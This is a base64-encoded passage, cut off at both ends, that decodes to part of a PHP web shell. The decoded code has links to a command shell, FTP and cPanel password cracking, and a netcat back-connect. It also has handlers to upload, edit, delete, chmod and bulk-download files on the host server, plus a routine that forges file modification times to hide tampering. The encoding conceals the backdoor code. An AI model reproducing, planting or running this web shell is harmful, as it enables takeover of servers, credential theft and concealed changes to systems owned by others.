Z29hY3Rpb24oJ3NoZWxsJyk7Ij5DbWQvQmFzaDwvYT4gDQoJCQk8P3BocCBpZiAoIUlTX1dJTikgez8+IHwgPGEgaHJlZj0iamF2YXNjcmlwdDpnb2FjdGlvbignYnJ1dGUnKTsiPkNyYWNrIEZ0cCAmIENwYW5lbDwvYT4gPD9waHAgfT8+DQoJCQk8P3BocCBpZiAoIUlTX1dJTikgez8+IHwgPGEgaHJlZj0iamF2YXNjcmlwdDpnb2FjdGlvbignYmFja2Nvbm5lY3QnKTsiPk5DIENvbm5lY3Q8L2E+PD9waHAgfT8+DQogICAgICAgICAgICAgICAgICAgICAgDQoJCTwvdGQ+DQoJPC90cj4NCjwvdGFibGU+DQo8dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjUiIGNlbGxzcGFjaW5nPSIwIj48dHI+PHRkPg0KPD9waHANCg0KZm9ybWhlYWQoYXJyYXkoJ25hbWUnPT4nZ29hY3Rpb24nKSk7DQptYWtlaGlkZSgnYWN0aW9uJyk7DQpmb3JtZm9vdCgpOw0KDQokZXJybXNnICYmIG0oJGVycm1zZyk7DQoNCi8vIERpciBmdW5jdGlvbg0KISRkaXIgJiYgJGRpciA9ICcuJzsNCiRub3dwYXRoID0gZ2V0UGF0aChTQV9ST09ULCAkZGlyKTsNCmlmIChzdWJzdHIoJGRpciwgLTEpICE9ICcvJykgew0KCSRkaXIgPSAkZGlyLicvJzsNCn0NCiR1ZWRpciA9IHVlKCRkaXIpOw0KDQppZiAoISRhY3Rpb24gfHwgJGFjdGlvbiA9PSAnZmlsZScpIHsNCg0KCS8vIE5vbi13cml0ZWFibGUNCgkkZGlyX3dyaXRlYWJsZSA9IEBpc193cml0YWJsZSgkbm93cGF0aCkgPyAnV3JpdGFibGUnIDogJ0NobTBkIGRpcic7DQoNCgkvLyBEZWxldGUgZGlyDQoJaWYgKCRkb2luZyA9PSAnZGVsZGlyJyAmJiAkdGhlZmlsZSkgew0KCQlpZiAoIWZpbGVfZXhpc3RzKCR0aGVmaWxlKSkgew0KCQkJbSgkdGhlZmlsZS4nIGRpcmVjdG9yeSBkb2VzIG5vdCBleGlzdCcpOw0KCQl9IGVsc2Ugew0KCQkJbSgnRGlyZWN0b3J5IGRlbGV0ZSAnLihkZWx0cmVlKCR0aGVmaWxlKSA/IGJhc2VuYW1lKCR0aGVmaWxlKS4nIHN1Y2Nlc3MnIDogJ0ZhaWxlZCcpKTsNCgkJfQ0KCX0NCg0KCS8vIENyZWF0ZSBuZXcgZGlyDQoJZWxzZWlmICgkbmV3ZGlybmFtZSkgew0KCQkkbWtkaXJzID0gJG5vd3BhdGguJG5ld2Rpcm5hbWU7DQoJCWlmIChmaWxlX2V4aXN0cygkbWtkaXJzKSkgew0KCQkJbSgnRGlyZWN0b3J5IGhhcyBhbHJlYWR5IGV4aXN0ZWQnKTsNCgkJfSBlbHNlIHsNCgkJCW0oJ0RpcmVjdDBydCBDcmVhdGVkICcuKEBta2RpcigkbWtkaXJzLDA3NzcpID8gJ3N1Y2Nlc3MnIDogJ2ZhaWxlZCcpKTsNCgkJCUBjaG1vZCgkbWtkaXJzLDA3NzcpOw0KCQl9DQoJfQ0KDQoJLy8gVXBsb2FkIGZpbGUNCgllbHNlaWYgKCRkb3VwZmlsZSkgew0KCQltKCdGaWxlIFVwbDBhZCAnLihAY29weSgkX0ZJTEVTWyd1cGxvYWRmaWxlJ11bJ3RtcF9uYW1lJ10sJHVwbG9hZGRpci4nLycuJF9GSUxFU1sndXBsb2FkZmlsZSddWyduYW1lJ10pID8gJ3N1Y2Nlc3MnIDogJ0ZhaWxlRCcpKTsNCgl9DQoNCgkvLyBFZGl0IGZpbGUNCgllbHNlaWYgKCRlZGl0ZmlsZW5hbWUgJiYgJGZpbGVjb250ZW50KSB7DQoJCSRmcCA9IEBmb3BlbigkZWRpdGZpbGVuYW1lLCd3Jyk7DQoJCW0oJ1NhdmUgRmlsZSAnLihAZndyaXRlKCRmcCwkZmlsZWNvbnRlbnQpID8gJ3N1Y2Nlc3MnIDogJ0ZhaWxlZCcpKTsNCgkJQGZjbG9zZSgkZnApOw0KCX0NCg0KCS8vIE1vZGlmeQ0KCWVsc2VpZiAoJHBmaWxlICYmICRuZXdwZXJtKSB7DQoJCWlmICghZmlsZV9leGlzdHMoJHBmaWxlKSkgew0KCQkJbSgnVGhlIG9yaWdpbmFsIGZpbGUgZG9lcyBub3QgZXhpc3QnKTsNCgkJfSBlbHNlIHsNCgkJCSRuZXdwZXJtID0gYmFzZV9jb252ZXJ0KCRuZXdwZXJtLDgsMTApOw0KCQkJbSgnTW9kaWZ5IEZpbGUgYXR0cmlidXRlcyAnLihAY2htb2QoJHBmaWxlLCRuZXdwZXJtKSA/ICdzdWNjZXNzJyA6ICdGYWlsZWQnKSk7DQoJCX0NCgl9DQoNCgkvLyBSZW5hbWUNCgllbHNlaWYgKCRvbGRuYW1lICYmICRuZXdmaWxlbmFtZSkgew0KCQkkbm5hbWUgPSAkbm93cGF0aC4kbmV3ZmlsZW5hbWU7DQoJCWlmIChmaWxlX2V4aXN0cygkbm5hbWUpIHx8ICFmaWxlX2V4aXN0cygkb2xkbmFtZSkpIHsNCgkJCW0oJG5uYW1lLicgaGFzIGFscmVhZHkgZXhpc3RlZCBvciBvcmlnaW5hbCBmaWxlIGRvZXMgbm90IGV4aXN0Jyk7DQoJCX0gZWxzZSB7DQoJCQltKGJhc2VuYW1lKCRvbGRuYW1lKS4nIHJlbmFtZWQgJy5iYXNlbmFtZSgkbm5hbWUpLihAcmVuYW1lKCRvbGRuYW1lLCRubmFtZSkgPyAnIHN1Y2Nlc3MnIDogJ2ZhaWxlZCcpKTsNCgkJfQ0KCX0NCg0KCS8vIENvcHUNCgllbHNlaWYgKCRzbmFtZSAmJiAkdG9maWxlKSB7DQoJCWlmIChmaWxlX2V4aXN0cygkdG9maWxlKSB8fCAhZmlsZV9leGlzdHMoJHNuYW1lKSkgew0KCQkJbSgnVGhlIGdvYWwgZmlsZSBoYXMgYWxyZWFkeSBleGlzdGVkIG9yIG9yaWdpbmFsIGZpbGUgZG9lcyBub3QgZXhpc3QnKTsNCgkJfSBlbHNlIHsNCgkJCW0oYmFzZW5hbWUoJHRvZmlsZSkuJyBjb3BpZWQgJy4oQGNvcHkoJHNuYW1lLCR0b2ZpbGUpID8gYmFzZW5hbWUoJHRvZmlsZSkuJyBzdWNjZXNzJyA6ICdmYWlsZWQnKSk7DQoJCX0NCgl9DQoNCgkvLyBGaWxlIGV4aXQNCgllbHNlaWYgKCRjdXJmaWxlICYmICR0YXJmaWxlKSB7DQoJCWlmICghQGZpbGVfZXhpc3RzKCRjdXJmaWxlKSB8fCAhQGZpbGVfZXhpc3RzKCR0YXJmaWxlKSkgew0KCQkJbSgnVGhlIGdvYWwgZmlsZSBoYXMgYWxyZWFkeSBleGlzdGVkIG9yIG9yaWdpbmFsIGZpbGUgZG9lcyBub3QgZXhpc3QnKTsNCgkJfSBlbHNlIHsNCgkJCSR0aW1lID0gQGZpbGVtdGltZSgkdGFyZmlsZSk7DQoJCQltKCdNb2RpZnkgZmlsZSB0aGUgbGFzdCBtb2RpZmllZCAnLihAdG91Y2goJGN1cmZpbGUsJHRpbWUsJHRpbWUpID8gJ3N1Y2Nlc3MnIDogJ2ZhaWxlZCcpKTsNCgkJfQ0KCX0NCg0KCS8vIERhdGUNCgllbHNlaWYgKCRjdXJmaWxlICYmICR5ZWFyICYmICRtb250aCAmJiAkZGF5ICYmICRob3VyICYmICRtaW51dGUgJiYgJHNlY29uZCkgew0KCQlpZiAoIUBmaWxlX2V4aXN0cygkY3VyZmlsZSkpIHsNCgkJCW0oYmFzZW5hbWUoJGN1cmZpbGUpLicgZG9lcyBub3QgZXhpc3QnKTsNCgkJfSBlbHNlIHsNCgkJCSR0aW1lID0gc3RydG90aW1lKCIkeWVhci0kbW9udGgtJGRheSAkaG91cjokbWludXRlOiRzZWNvbmQiKTsNCgkJCW0oJ01vZGlmeSBmaWxlIHRoZSBsYXN0IG1vZGlmaWVkICcuKEB0b3VjaCgkY3VyZmlsZSwkdGltZSwkdGltZSkgPyAnc3VjY2VzcycgOiAnZmFpbGVkJykpOw0KCQl9DQoJfQ0KDQoJLy8gRG93bmxvYWQNCgllbHNlaWYoJGRvaW5nID09ICdkb3ducmFyJykgew0KCQlpZiAoJGRsKSB7DQoJCQkkZGZpbGVzPScnOw0KCQkJZm9yZWFjaCAoJGRsIGFzICRmaWxlcGF0aCA9PiAkdmFsdWUpIHsNCgkJCQkkZGZpbGVzLj0kZmlsZXBhdGguJywnOw0KCQkJfQ0KCQkJJGRmaWxlcz1zdWJzdHIoJGRmaWxlcywwLHN0cmxlbigkZGZpbGVzKS0xKTsNCgkJCSRkbD1leHBsb2RlKCcsJywkZGZpbGVzKTsNCgkJCSR6aXA9bmV3IFBIUFppcCgkZGwpOw0KCQkJJGNvZGU9JHppcC0+b3V0Ow0KCQkJaGVhZGVyKCdDb250ZW50LXR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbScpOw0KCQkJaGVhZGVyKCdBY2NlcHQtUmFuZ2VzOiBieXRlcycpOw0KCQkJaGVhZGVyKCdBY2NlcHQtTGVuZ3RoOiAnLnN0cmxlbigkY29kZSkpOw0KCQkJaGVhZGVyKCdDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50O2ZpbGVuYW1lPScuJF9TRVJWRVJbJ0hUVFBfSE9TVCddLidfRmlsZXMudGFyLmd6Jyk7DQoJCQllY2hvICRjb2RlOw0KCQkJZXhpdDsNCgkJfSBlbHNlIHsNCgkJCW0oJ0ZpcnN0IHNlbGVjdCBmaWxlJyk7DQoJCX0NCgl9DQoNCgkvLyBEZWxldGUgZmlsZQ0KCWVsc2VpZigkZG9pbmcgPT0gJ2RlbGZpbGVzJykgew0KCQlpZiAoJGRsKSB7DQoJCQkkZGZpbGVzPScnOw0KCQkJJHN1Y2MgPSAkZmFpbCA9IDA7DQoJCQlmb3JlYWNoICgkZGwgYXMgJGZpbGVwYXRoID0+ICR2YWx1ZSkgew0KCQkJCWlmIChAdW5saW5rKCRmaWxlcGF0aCkpIHsNCgkJCQkJJHN1Y2MrKzsNCgkJCQl9IGVsc2Ugew0KCQkJCQkkZmFpbCsrOw0KCQkJCX0NCgkJCX0NCgkJCW0oJ0RlbGV0ZWQgZmlsZSBoYXZlIGZpbmlzaGVkPz9jaG9vc2UgJy5jb3VudCgkZGwpLicgc3VjY2VzcyAnLiRzdWNjLicgZmFpbCAnLiRmYWlsKTsNCgkJfSBlbHNlIHsNCgkJCW0oJ0ZpcnN0IHNlbGVjdCBmaWxlJyk7DQoJCX0NCgl9DQoNCgkvLyBGdW5jdGlvbiBOZXdkaXINCglmb3JtaGVhZChhcnJheSgnbmFtZSc9PidjcmVhdGVkaXInKSk7DQoJbWFrZWhpZGUoJ25ld2Rpcm5hbWUnKTsNCgltYWtlaGlkZSgnZGlyJywkbm93cGF0aCk7DQoJZm9ybWZvb3QoKTsNCglmb3JtaGVhZChhcnJheSgnbmFtZSc9PidmaWxlcGVybScpKTsNCgltYWtlaGlkZSgnbmV3cGVybScpOw0KCW1ha2VoaWRlKCdwZmlsZScpOw0KCW1ha2VoaWRlKCdkaXInLCRub3dwYXRoKTsNCglmb3JtZm9vdCgpOw0KCWZvcm1oZWFkKGFycmF5KCduYW1lJz0+J2NvcHlmaWxlJykpOw0KCW1ha2VoaWRlKCdzbmFtZScpOw0KCW1ha2VoaWRlKCd0b2ZpbGUnKTsNCgltYWtlaGlkZSgnZGlyJywkbm93cGF0aCk7DQoJZm9ybWZvb3QoKTsNCglmb3JtaGVhZChhcnJheSgnbmFtZSc9PidyZW5hbWUnKSk7DQoJbWFrZWhpZGUoJ29sZG5hbWUnKTsNCgltYWtlaGlkZSgnbmV3ZmlsZW5hbWUnKTsNCgltYWtlaGlkZSgnZGlyJywkbm93cGF0aCk7DQoJZm9ybWZvb3QoKTsNCglmb3JtaGVhZChhcnJheSgnbmFtZSc9PidmaWxlb3Bmb3JtJykpOw0KCW1ha2VoaWRlKCdhY3Rpb24nKTsNCgltYWtlaGlkZSgnb3BmaWxlJyk7DQoJbWFrZWhpZGUoJ2RpcicpOw0KCWZvcm1mb290KCk7DQoNCg0KPz4NCjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiIHN0eWxlPSJtYXJnaW46MTBweCAwOyI+DQogIDxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiIGlkPSJnb2RpciIgbmFtZT0iZ29kaXIiPg0KICA8dHI+DQogICAgPHRkIG5vd3JhcD4oPD9waHAgZWNobyAkZGlyX3dyaXRlYWJsZTs/PiwgPD9waHAgZWNobyBnZXRDaG1vZCgkbm93cGF0aCk7Pz4pPC90ZD4NCgk8dGQgd2lkdGg9IjEwMCUiPjxpbnB1dCBuYW1lPSJ2aWV3X3dyaXRhYmxlIiB2YWx1ZT0iMCIgdHlwZT0iaGlkZGVuIiAvPjxpbnB1dCBjbGFzcz0iaW5wdXQiIG5hbWU9ImRpciIgdmFsdWU9Ijw/cGhwIGVjaG8gJG5vd3BhdGg7Pz4iIHR5cGU9InRleHQiIHN0eWxlPSJ3aWR0aDoxMDAlO21hcmdpbjowIDhweDsiPjwvdGQ+DQogICAgPHRkIG5vd3JhcD48aW5wdXQgY2xhc3M9ImJ0IiB2YWx1ZT0iRzAiIHR5cGU9InN1Ym1pdCI+PC90ZD4NCiAgPC90cj4NCiAgPC9mb3JtPg0KPC90YWJsZT4NCjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4NCmZ1bmN0aW9uIGNyZWF0ZWRpcigpew0KCXZhciBuZXdkaXJuYW1lOw0KCW5ld2Rpcm5hbWUgPSBwcm9tcHQoJ05hbWUgUGxlYXNlOicsICcnKTsNCglpZiAoIW5ld2Rpcm5hbWUpIHJldHVybjsNCgkkKCdjcmVhdGVkaXInKS5uZXdkaXJuYW1lLnZhbHVlPW5ld2Rpcm5hbWU7DQoJJCgnY3JlYXRlZGlyJykuc3VibWl0KCk7DQp9DQpmdW5jdGlvbiBmaWxlcGVybShwZmlsZSl7DQoJdmFyIG5ld3Blcm07DQoJbmV3cGVybSA9IHByb21wdCgnQ3VycmVudCBmaWxlOicrcGZpbGUrJ1xuUGxlYXNlIGlucHV0IG5ldyBhdHRyaWJ1dGU6JywgJycpOw0KCWlmICghbmV3cGVybSkgcmV0dXJuOw0KCSQoJ2ZpbGVwZXJtJykubmV3cGVybS52YWx1ZT1uZXdwZXJtOw0KCSQoJ2ZpbGVwZXJtJykucGZpbGUudmFsdWU9cGZpbGU7DQoJJCgnZmlsZXBlcm0nKS5zdWJtaXQoKTsNCn0NCmZ1bmN0aW9uIGNvcHlmaWxlKHNuYW1lKXsNCgl2YXIgdG9maWxlOw0KCXRvZmlsZSA9IHByb21wdCgnT3JpZ2luYWwgZmlsZTonK3NuYW1lKydcblBsZWFzZSBpbnB1dCBvYmplY3QgZmlsZSAoZnVsbHBhdGgpOicsICcnKTsNCglpZiAoIXRvZmlsZSkgcmV0dXJuOw0KCSQoJ2NvcHlmaWxlJykudG9maWxlLnZhbHVlPXRvZmlsZTsNCgkkKCdjb3B5ZmlsZScpLnNuYW1lLnZhbHVlPXNuYW1lOw0KCSQoJ2NvcHlmaWxlJykuc3VibWl0KCk7DQp9DQpmdW5jdGlvbiByZW5hbWUob2xkbmFtZSl7DQoJdmFyIG5ld2ZpbGVuYW1lOw0KCW5ld2ZpbGVuYW1lID0gcHJvbXB0KCdGb3JtZXIgZmlsZSBuYW1lOicrb2xkbmFtZSsnXG5QbGVhc2UgaW5wdXQgbmV3IGZpbGVuYW1lOicsICcnKTsNCglpZiAoIW5ld2ZpbGVuYW1lKSByZXR1cm47DQoJJCgncmVuYW1lJykubmV3ZmlsZW5hbWUudmFsdWU9bmV3ZmlsZW5hbWU7DQoJJCgncmVuYW1lJykub2xkbmFtZS52YWx1ZT1vbGRuYW1lOw0KCSQoJ3JlbmFtZScpLnN1Ym1pdCgpOw0KfQ0KZnVuY3Rpb24gZG9maWxlKGRvaW5nLHRoZWZpbGUsbSl7DQoJaWYgKG0gJiYgIWNvbmZpcm0obSkpIHsNCgkJcmV0dXJuOw0KCX0NCgkkKCdmaWxlbGlzdCcpLmRvaW5nLnZhbHVlPWRvaW5nOw0KCWlmICh0aGVmaWxlKXsNCgkJJCgnZmlsZWxpc3QnKS50aGVmaWxlLnZhbHVlPXRoZWZpbGU7DQoJfQ0KCSQoJ2ZpbGVsaXN0Jykuc3VibWl0KCk7DQp9DQpmdW5jdGlvbiBjcmVhdGVmaWxlKG5vd3BhdGgpew0KCXZhciBmaWxlbmFtZTsNCglmaWxlbmFtZSA9IHByb21wdCgnTmFtZSBQbGVhc2U6JywgJycpOw0KCWlmICghZmlsZW5hbWUpIHJldHVybjsNCglvcGZpbGUoJ2VkaXRmaWxlJyxub3dwYXRoICsgZmlsZW5hbWUsbm93cGF0aCk7DQp9DQpmdW5jdGlvbiBvcGZpbGUoYWN0aW9uLG9wZmlsZSxkaXIpew0KCSQoJ2ZpbGVvcGZvcm0nKS5hY3Rpb24udmFsdWU9YWN0aW9uOw0KCSQoJ2ZpbGVvcGZvcm0nKS5vcGZpbGUudmFsdWU9b3BmaWxlOw0KCSQoJ2ZpbGVvcGZvcm0nKS5kaXIudmFsdWU9ZGlyOw0KCSQoJ2ZpbGVvcGZvcm0nKS5zdWJtaXQoKTsNCn0NCmZ1bmN0aW9uIGdvZGlyKGRpcix2aWV3X3dyaXRhYmxlKXsNCglpZiAodmlld193cml0YWJsZSkgew0KCQkkKCdnb2RpcicpLnZpZXdfd3JpdGFibGUudmFsdWU9MTsNCgl9DQoJJCgnZ29kaXInKS5kaXIudmFsdWU9ZGlyOw0KCSQoJ2dvZGlyJykuc3VibWl0KCk7DQp9DQo8L3NjcmlwdD4NCiAgPD9waHANCgl0YmhlYWQoKTsNCglwKCc8Zm9ybSBhY3Rpb249IicuJHNlbGYuJyIgbWV0aG9kPSJQT1NUIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIj48dHIgY2xhc3M9ImFsdDEiPjx0ZCBjb2xzcGFuPSI3IiBzdHlsZT0icGFkZGluZzo1cHg7Ij4nKTsNCglwKCc8ZGl2IHN0eWxlPSJmbG9hdDpyaWdodDsiPjxpbnB1dCBjbGFzcz0iaW5wdXQiIG5hbWU9InVwbG9hZGZpbGUiIHZhbHVlPSIiIHR5cGU9ImZpbGUiIC8+IDxpbnB1dCBjbGFzcz0iIiBuYW1lPSJkb3VwZmlsZSIgdmFsdWU9IlVwbDBhZCIgdHlwZT0ic3VibWl0IiAvPjxpbnB1dCBuYW1lPSJ1cGxvYWRkaXIiIHZhbHVlPSInLiRkaXIuJyIgdHlwZT0iaGlkZGVuIiAvPjxpbnB1dCBuYW1lPSJkaXIiIHZhbHVlPSInLiRkaXIuJyIgdHlwZT0iaGlkZGVuIiAvPjwvZGl2PicpOw0KDQoJaWYgKCR2aWV3X3dyaXRhYmxlKSB7DQoNCgl9IGVsc2Ugew0KDQoJfQ0KCXAoJyAgPGEgaHJlZj0iamF2YXNjcmlwdDpjcmVhdGVkaXIoKTsiPkNyZWF0ZSBEaXJlY3Qwcnk8L2E+IHwgPGEgaHJlZj0iamF2YXNjcmlwdDpjcmVhdGVmaWxlKFwnJy4kbm93cGF0aC4nXCcpOyI+Q3JlYXRlIEZpbGU8L2E+Jyk7DQoJaWYgKElTX1dJTiAmJiBJU19DT00pIHsNCgkJJG9iaiA9IG5ldyBDT00oJ3NjcmlwdGluZy5maWxlc3lzdGVtb2JqZWN0Jyk7DQoJCWlmICgkb2JqICYmIGlzX29iamVjdCgkb2JqKSkgew0KCQkJJERyaXZlVHlwZURCID0gYXJyYXkoMCA9PiAnVW5rbm93JywxID0+ICdSZW1vdmFibGUnLDIgPT4gJ0ZpeGVkJywzID0+ICdOZXR3b3JrJyw0ID0+ICdDRFJvbScsNSA9PiAnUkFNIERpc2snKTsNCgkJCWZvcmVhY2goJG9iai0+RHJpdmVzIGFzICRkcml2ZSkgew0KCQkJCWlmICgkZHJpdmUtPkRyaXZlVHlwZSA9PSAyKSB7DQoJCQkJCXAoJyB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6Z29kaXIoXCcnLiRkcml2ZS0+UGF0aC4nL1wnKTsiIHRpdGxlPSJTaXplOicuc2l6ZWNvdW50KCRkcml2ZS0+VG90YWxTaXplKS4nJiMxMztGcmVlOicuc2l6ZWNvdW50KCRkcml2ZS0+RnJlZVNwYWNlKS4nJiMxMztUeXBlOicuJERyaXZlVHlwZURCWyRkcml2ZS0+RHJpdmVUeXBlXS4nIj4nLiREcml2ZVR5cGVEQlskZHJpdmUtPkRyaXZlVHlwZV0uJygnLiRkcml2ZS0+UGF0aC4nKTwvYT4nKTsNCgkJCQl9IGVsc2Ugew0KCQkJCQlwKCcgfCA8YSBocmVmPSJqYXZhc2NyaXB0OmdvZGlyKFwnJy4kZHJpdmUtPlBhdGguJy9cJyk7IiB0aXRsZT0iVHlwZTonLiREcml2ZVR5cGVEQlskZHJpdmUtPkRyaXZlVHlwZV0uJyI+Jy4kRHJpdmVUeXBlREJbJGRyaXZlLT5Ecml2ZVR5cGVdLicoJy4kZHJpdmUtPlBhdGguJyk8L2E+Jyk7DQoJCQkJfQ0KCQkJfQ0KCQl9DQoJfQ0KDQoJcCgnPC90ZD48L3RyPjwvZm9ybT4nKTsNCg0KCXAoJzx0ciBjbGFzcz0iaGVhZCI+PHRkPiZuYnNwOzwvdGQ+PHRkPkZpbGUgTmFtZTwvdGQ+PHRkIHdpZHRoPSIxNiUiPkxhc3QgTTBkaWZpZWQ8L3RkPjx0ZCB3aWR0aD0iMTAlIj5TaXplPC90ZD48dGQgd2lkdGg9IjIwJSI+Q2htMGQgLyBQZXJtUzwvdGQ+PHRkIHdpZHRoPSIyMiUiPkFjdGkwbjwvdGQ+PC90cj4nKTsNCg0KCS8vIEdldCBwYXRoDQoJJGRpcmRhdGE9YXJyYXkoKTsNCgkkZmlsZWRhdGE9YXJyYXkoKTsNCg0KCWlmICgkdmlld193cml0YWJsZSkgew0KCQkkZGlyZGF0YSA9IEdldExpc3QoJG5vd3BhdGgpOw0KCX0gZWxzZSB7DQoJCS8vIE9wZW4gZGlyDQoJCSRkaXJzPUBvcGVuZGlyKCRkaXIpOw0KCQl3aGlsZSAoJGZpbGU9QHJlYWRkaXIoJGRpcnMpKSB7DQoJCQkkZmlsZXBhdGg9JG5vd3BhdGguJGZpbGU7DQoJCQlpZihAaXNfZGlyKCRmaWxlcGF0aCkpew0KCQkJCSRkaXJkYlsnZmlsZW5hbWUnXT0kZmlsZTsNCgkJCQkkZGlyZGJbJ210aW1lJ109QGRhdGUoJ1ktbS1kIEg6aTpzJyxmaWxlbXRpbWUoJGZpbGVwYXRoKSk7DQoJCQkJJGRpcmRiWydkaXJjaG1vZCddPWdldENobW9kKCRmaWxlcGF0aCk7DQoJCQkJJGRpcmRiWydkaXJwZXJtJ109Z2V0UGVybXMoJGZpbGVwYXRoKTsNCgkJCQkkZGlyZGJbJ2ZpbGVvd25lciddPWdldFVzZXIoJGZpbGVwYXRoKTsNCgkJCQkkZGlyZGJbJ2RpcmxpbmsnXT0kbm93cGF0aDsNCgkJCQkkZGlyZGJbJ3NlcnZlcl9saW5rJ109JGZpbGVwYXRoOw0KCQkJCSRkaXJkYlsnY2xpZW50X2xpbmsnXT11ZSgkZmlsZXBhdGgpOw0KCQkJCSRkaXJkYXRhW109JGRpcmRiOw0KCQkJfSBlbHNlIHsNCgkJCQkkZmlsZWRiWydmaWxlbmFtZSddPSRmaWxlOw0KCQkJCSRmaWxlZGJbJ3NpemUnXT1zaXplY291bnQoQGZpbGVzaXplKCRmaWxlcGF0aCkpOw0KCQkJCSRmaWxlZGJbJ210aW1lJ109QGRhdGUoJ1ktbS1kIEg6aTpzJyxmaWxlbXRpbWUoJGZpbGVwYXRoKSk7DQoJCQkJJGZpbGVkYlsnZmlsZWNobW9kJ109Z2V0Q2htb2QoJGZpbGVwYXRoKTsNCgkJCQkkZmlsZWRiWydmaWxlcGVybSddPWdldFBlcm1zKCRmaWxlcGF0aCk7DQoJCQkJJGZpbGVkYlsnZmlsZW93bmVyJ109Z2V0VXNlcigkZmlsZXBhdGgpOw0KCQkJCSRmaWxlZGJbJ2RpcmxpbmsnXT0kbm93cGF0aDsNCgkJCQkkZmlsZWRiWydzZXJ2ZXJfbGluayddPSRmaWxlcGF0aDsNCgkJCQkkZmlsZWRiWydjbGllbnRfbGluayddPXVlKCRmaWxlcGF0aCk7DQoJCQkJJGZpbGVkYXRhW109JGZpbGVkYjsNCgkJCX0NCgkJfS8vIHdoaWxlDQoJCXVuc2V0KCRkaXJkYik7DQoJCXVuc2V0KCRmaWxlZGIpOw0KCQlAY2xvc2VkaXIoJGRpcnMpOw0KCX0NCglAc29ydCgkZGlyZGF0YSk7DQoJQHNvcnQoJGZpbGVkYXRhKTsNCgkkZGlyX2kgPSAnMCc7DQoJZm9yZWFjaCgkZGlyZGF0YSBhcyAka2V5ID0+ICRkaXJkYil7DQoJCWlmKCRkaXJkYlsnZmlsZW5hbWUnXSE9Jy4uJyAmJiAkZGlyZGJbJ2ZpbGVuYW1lJ10hPScuJykgew0KCQkJJHRoaXNiZyA9IGJnKCk7DQoJCQlwKCc8dHIgY2xhc3M9ImZvdXQiIG9ubW91c2VvdmVyPSJ0aGlzLmNsYXNzTmFtZT1cJ2ZvY3VzXCc7IiBvbm1vdXNlb3V0PSJ0aGlzLmNsYXNzTmFtZT1cJ2ZvdXRcJzsiPicpOw0KCQkJcCgnPHRkIHdpZHRoPSIyJSIgbm93cmFwPjxmb250IGZhY2U9IndpbmdkaW5ncyIgc2l6ZT0iMyI+MDwvZm9udD48L3RkPicpOw0KCQkJcCgnPHRkPjxhIGhyZWY9ImphdmFzY3JpcHQ6Z29kaXIoXCcnLiRkaXJkYlsnc2VydmVyX2xpbmsnXS4nXCcpOyI+Jy4kZGlyZGJbJ2ZpbGVuYW1lJ10uJzwvYT48L3RkPicpOw0KCQkJcCgnPHRkIG5vd3JhcD4nLiRkaXJkYlsnbXRpbWUnXS4nPC90ZD4nKTsNCgkJCXAoJzx0ZCBub3dyYXA+LS08L3RkPicpOw0KCQkJcCgnPHRkIG5vd3JhcD4nKTsNCgkJCXAoJzxhIGhyZWY9ImphdmFzY3JpcHQ6ZmlsZXBlcm0oXCcnLiRkaXJkYlsnc2VydmVyX2xpbmsnXS4nXCcpOyI+Jy4kZGlyZGJbJ2RpcmNobW9kJ10uJzwvYT4gLyAnKTsNCgkJCXAoJzxhIGhyZWY9ImphdmFzY3JpcHQ6ZmlsZXBlcm0oXCcnLiRkaXJkYlsnc2VydmVyX2xpbmsnXS4nXCcpOyI+Jy4kZGlyZGJbJ2RpcnBlcm0nXS4nPC9hPicuJGRpcmRiWydmaWxlb3duZXInXS4nPC90ZD4nKTsNCgkJCXAoJzx0ZCBub3dyYXA+PGEgaHJlZj0iamF2YXNjcmlwdDpkb2ZpbGUoXCdkZWxkaXJcJyxcJycuJGRpcmRiWydzZXJ2ZXJfbGluayddLidcJyxcJ0FyZSB5b3Ugc3VyZSB3aWxsIGRlbGV0ZSAnLiRkaXJkYlsnZmlsZW5hbWUnXS4nPyBcXG5cXG5cJykiPkRlTGV0ZTwvYT4gfCA8YSBocmVmPSJqYXZhc2NyaXB0OnJlbmFtZShcJycuJGRpcmRiWydzZXJ2ZXJfbGluayddLidcJyk7Ij5SZW5hbWU8L2E+PC90ZD4nKTsNCgkJCXAoJzwvdHI+Jyk7DQoJCQkkZGlyX2krKzsNCgkJfSBlbHNlIHsNCgkJCWlmKCRkaXJkYlsnZmlsZW5hbWUnXT09Jy4uJykgew0KCQkJCXAoJzx0ciBjbGFzcz1mb3V0PicpOw0KCQkJCXAoJzx0ZCBhbGlnbj0iY2VudGVyIj48Zm9udCBmYWNlPSJXaW5nZGluZ3MgMyIgc2l6ZT00Pj08L2ZvbnQ+PC90ZD48dGQgbm93cmFwIGNvbHNwYW49IjUiPjxhIGhyZWY9ImphdmFzY3JpcHQ6Z29kaXIoXCcnLmdldFVwUGF0aCgkbm93cGF0aCkuJ1wnKTsiPkJhY2sgVG8gRGlyZWN0b3J5PC9hPjwvdGQ+Jyk7DQoJCQkJcCgnPC90cj4nKTsNCgkJCX0NCgkJfQ0KCX0NCg0KCXAoJzx0ciBiZ2NvbG9yPSJncmVlbiIgc3RseWU9ImJvcmRlci10b3A6MXB4IHNvbGlkIGdyYXk7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgZ3JheTsiPjx0ZCBjb2xzcGFuPSI2IiBoZWlnaHQ9IjUiPjwvdGQ+PC90cj4nKTsNCglwKCc8Zm9ybSBpZD0iZmlsZWxpc3QiIG5hbWU9ImZpbGVsaXN0IiBhY3Rpb249IicuJHNlbGYuJyIgbWV0aG9kPSJwb3N0Ij4nKTsNCgltYWtlaGlkZSgnYWN0aW9uJywnZmlsZScpOw0KCW1ha2VoaWRlKCd0aGVmaWxlJyk7DQoJbWFrZWhpZGUoJ2RvaW5nJyk7DQoJbWFrZWhpZGUoJ2RpcicsJG5vd3BhdGgpOw0KCSRmaWxlX2kgPSAnMCc7DQoJZm9yZWFjaCgkZmlsZWRhdGEgYXMgJGtleSA9PiAkZmlsZWRiKXsNCgkJaWYoJGZpbGVkYlsnZmlsZW5hbWUnXSE9Jy4uJyAmJiAkZmlsZWRiWydmaWxlbm